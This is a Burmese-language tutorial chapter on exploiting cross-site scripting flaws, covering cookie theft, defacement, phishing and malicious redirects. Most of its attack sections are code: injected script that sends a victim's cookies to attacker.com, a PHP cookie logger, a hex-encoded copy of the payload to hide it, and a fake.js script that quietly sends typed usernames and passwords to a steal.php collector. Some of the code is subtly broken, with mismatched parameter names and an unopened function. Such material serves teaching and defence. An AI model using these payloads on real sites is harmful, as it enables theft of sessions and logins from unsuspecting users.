CHAPTERIII

ဒီတစ္ခါေတာ့ Exploiting XSS ဆိုတာကိုေဆြးေႏြးသြားမွာျဖစ္ပါတယ္

XSS vulnerability ေတြကေနတဆင့္ attacker ေတြ ျပဳလုပ္ေလ့ရွိၾကတာကေတာ့

Cookie Stealing
Defacing
Data Stealing
Black Hat CEO
Worms and Viruses


Cookie Stealing

အဲဒါကေတာ့ XSS vulnerability ေတြကေနတဆင့္ attacker ေတြ အလုပ္ဆုံးအရာတစ္ခုပါ
user ေတြရဲ့ cookie ေတြကို hijack လုပ္မယ္ အဲဒီကေနတစ္ဆင့္ တျခား information ေတြကိုယူမယ္ စသျဖင့္ေပါ့

ဥပမာဗ်ာ

www.example.com ဆိုပါစို႕
အဲဒီ site ရဲ့ search.php မွာ XSS vulnerability ရွိတယ္ဆိုပါစို႕
အဲဒါကဒီလိုဗ်ာ
www.example.com/search.php?q= အဲဒါကို attacker က အဲဒီ site ကတစ္ျခား user တစ္ေယာက္ရဲ့ cookie ကို လိုခ်င္တယ္ဆိုပါစို႕
အဲဒါဆိုရင္ Attacker က ဒီလိုမ်ိဳးၾကိဳးပမ္းႏိုင္ပါတယ္


http://www.example.com/search.php?q= document.location = "http://attacker.com/cookielogger.php?c="+document.cookie အဲဒီမွာထည့္သြင္းထားတဲ့ document.location ဆိုတာကေတာ့
http://attacker.com/cookielogger.php? ဆိုတဲ့ document ရွိတဲ့ေနရာကိုေျပာတာပါ
အဲဒီ cookielogger.php ထဲက c ဆိုတာကေတာ့ အဲဒီ cookielogger php ထဲမွာ cookie ကို load လုပ္ဖို႕အတြက္သုံးတဲ့ get variable ပါ

document.cookie ဆိုတာကေတာ့ cookie ကို load လုပ္ဖို႕အတြက္သုံးတဲ့ javascript ပါ

http://www.example.com/search.php?q= document.location = "http://attacker.com/cookielogger.php?c="+document.cookie အဲဒီေတာ့ အေပၚကRUL String မွာထဲ့ထားတဲ့အတိုင္းဆိုရင္ http://www.example.com မွာရွိတဲ့ search.php ရဲ့ q ဆိုတဲ့ variable ကေနတဆင့္ http://attacker.com မွာရွိတဲ့ cookielogger.php ရဲ့ c ဆိုတဲ့ variable ထဲကို လက္ရွိ user ရဲ့ cookie ကဝင္ေရာက္သြားပါလိမ့္မယ္

<?php
$file = fopen("cookies.txt","a");
$cookies = $_GET['c'];
$content = "Cookies = ".$cookies."\n";
fwrite($file,$content);
fclose($file);
?> အဲဒါကေတာ့ cookie logger ရဲ့ code ပါ
အဲဒီ code အရဆိုရင္သူကရရွိလာတဲ့ cookie ေတြကို cookies.txt ဆိုတဲ့ file ထဲမွာထည့္သြင္းေပးပါလိမ့္မယ္

တစ္ကယ္လို႕ Attacker က သူ႕ရဲ့ url ကို victim ကိုေပးမသိေစခ်င္ရင္ သူဟာ url ကို encode လုပ္ျပီးေပးပို႕ပါလိမ့္မယ္
ဒါကေတာ့ဒီလိုပါ
document.location = "http://attacker.com/cookielogger.php?c="+document.cookie
ကို encode လုပ္တာပါ
အဲဒီ document.location = "http://attacker.com/cookielogger.php?c="+document.cookie ကို encode လုပ္မယ္ဆိုရင္ ေအာက္က encode လုပ္ထားတဲ့ Hex Value ကိုရရွိပါလိမ့္မယ္


%22%68%74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%2 E%63%6F%6D%2F%63%6F%6F%6B%69%65%6C%6F%67%67%65%72% 2E%70%68%70%3F%63%3D%22%2B%64%6F%63%75%6D%65%6E%74 %2E%63%6F%6F%6B%69%65%20

ဒါဆိုရင္ URL String ဟာ ေအာက္မွာျပထားတဲ့အတိုင္းေျပာင္းလဲသြားပါလိမ့္မယ ္

http://www.example.com/search.php?q=...6F%6B%69%65%20

Defacing

XSS vulnerability ကိုသုံးျပီး Permently (သို႕မဟုတ္) Temporarily Deface လုပ္ႏိုင္ပါတယ္

ဥပမာ ေအာက္က လိုမ်ိဳး code ေတြကို embed လုပ္ျခင္းအားျဖင့္ လဲ လုပ္ႏိုင္ပါတယ္

<img src = http://www.attacker.com/defaceimg.jpg>

ဒါမွမဟုတ္ရင္ iframe နဲ႕လည္း ဒီလို လုပ္ႏိုင္ပါတယ္
<iframe src = http://www.attacker.com/defacepage.html width = “100%” height=”100%”></iframe>

အဲဒါကေတာ့ဒါမ်ိဳးပါ
ဒီမွာေတာ့ ကြၽန္ေတာ္ Temporary Defacement အေနနဲ႕ပဲဥပမာျပထားပါတယ္

http://www.example.com/search.php?q=<img src = http://www.attacker.com/deface.jpg>

Phishing

Phishing ဆိုတဲ့ေဝါဟာရကေတာ့ကြၽန္ေတာ္သိသေလာက္ေျပာရရင္ Fishing ဆိုတဲ့ေဝါဟာရကို ေခၚတာပါ အဲဒါကေတာ့ user ရဲ့ login credentials ေတြကို ကိုအတုျပဳလုပ္ျပီးရယူတာမ်ိဳးပါ

Phishing attack မွာဆိုရင္ Attacker က login page အတုတစ္ခုကိုျပဳလုပ္ျပီး အဲဒီ link ကို victim ဆီကိုပို႕ေပးပါတယ္ victim က အဲဒီ fake login page မွာ login လုပ္လိုက္တာနဲ႕ Attacker က victim ရဲ့ login credentials ေတြကို ရရွိပါလိမ့္မယ္

အဲဒါကို Attacker က javascript ကေနတဆင့္ login credential ေတြကိုဘယ္လို capture လုပ္ႏိုင္မလဲဆိုတာကိုၾကည့္လိုက္ၾကရေအာင္

ဥပမာ login form တစ္ခုက ဒီလိုရွိတယ္ဆိုပါစို႕

<form action=”login.php” method = “POST” name=”login”>
Username : <input type = "text" name ="username"></br>
Password : <input type = "password" name= "password"></br>
<input type="submit" name="submit" value="Login">
</form> အဲဒါဆိုရင္ login credentials ေတြဟာ login.php ဆီကို POST method နဲ႕ပို႕ေပးပါလိမ့္မယ္

ဟုတ္ျပီဒါဆိုရင္ Attacker ဟာ victim ဆီကို login credentials ေတြကိုရယူဖို႕အတြက္ ေအာက္မွာျပထားတဲ့အတိုင္းၾကိဳးစားႏိုင္ပါတယ္


http://www.example.com/index.php?q=<script src= "http://www.attacker.com/fake.js"></script>

အဲဒီက fake.js ဆိုတာကေတာ့ user login ကို capture လုပ္ဖို႕အတြက္ attacker ကသုံးထားတဲ့ malicious script ပါ အဲဒါကိုမွ victim အေနနဲ႕သံသယမရွိေစခ်င္ရင္ေတာ့ Attacker ဟာ ခုနကကြၽန္ေတာ္ေျပာခဲ့သလိုမ်ိဳး encode လုပ္ပါလိမ့္မယ္
အဲဒီ fake.js ရဲ့ source code ကို ကြၽန္ေတာ္ေအာက္မွာျပထားပါတယ္

var iframe = document.createElement("iframe");
//hide the iframe
iframe.style.display = "none";
// load your login stealer script
iframe.src = "http://attacker.com/steal.php?username="
+ document.form[“login”].username.value + "&password=" + document.form[“login”].password.value;

// add iframe to websites body
document.body.appendChild(iframe);
}

// record logins when user press submit button
document.form[“login”].onsubmit = steal(); ေအာက္မွာျပထားတာကေတာ့ steal.php ရဲ့ code ပါ

<?php
if(isset($_GET['user']) && isset($_GET['pass']))
{
$file = fopen($steal.txt, "a");
$login = "Username: ". $_GET['username'] ." and Password: ". $_GET['password'] . "\n";
fwrite($file, $login);
fclose($file);
}
?> အဲဒီအတိုင္းဆိုရင္ တကယ္လို႕မ်ား victim ဟာ အဲဒီ ကေနတဆင့္ login လုပ္လိုက္မယ္ဆိုရင္ fake.js ဟာ login credentials ေတြကို steal.php ဆီကိုပို႕ေပးပါလိမ့္မယ္ အဲဒီအခါမွာ steal.php ဟာ ပို႕ေပးလိုက္တဲ့ login credentials ေတြကို steal.txt ဆိုတဲ့ file ထဲမွာ သြားျပီး record လုပ္ေပးပါလိမ့္မယ္

Data Stealing

အဲဒါကေတာ့ အသုံးနည္းပါတယ္အဲဒါေၾကာင့္မို႕ ကြၽန္ေတာ္လည္းမေဆြးေႏြးေတာ့ပါဘူး

Black Hat SEO

ဒါကေတာ့ Webmaster ေတြ အတြက္ေရာ Attacker ေတြအတြက္ေရာအေရးၾကီးပါတယ္
ဥပမာ Attacker က

http://www.example.com/search.php?q=
ဆိုတဲ့ vulnerable ကေနတဆင့္ တျခား site တစ္ခုကို redirect လုပ္လိုက္ႏိုင္ပါတယ္
(ေအာက္မွာျပထားပါတယ္)
http://www.example.com/search.php?q= <script>document.location( "http://www.attacker.com.com" )</script>

အဲဒါကေတာ့ search quries ေတြကေနတဆင့္ better page ranking ကိုရရွိေစပါတယ္

Worms and Viruses

အဲဒီအပိုင္းကေတာ့အရမ္းက်ယ္ျပန္႕လြန္းျပီး XSS ရဲ့ေနာက္ထပ္ generation လို႕ေတာင္ေခၚႏိုင္ပါတယ္
အဲဒါကိုသိခ်င္ရင္ေတာ့ Self Study လုပ္တာပိုေကာင္းပါလိမ့္မယ္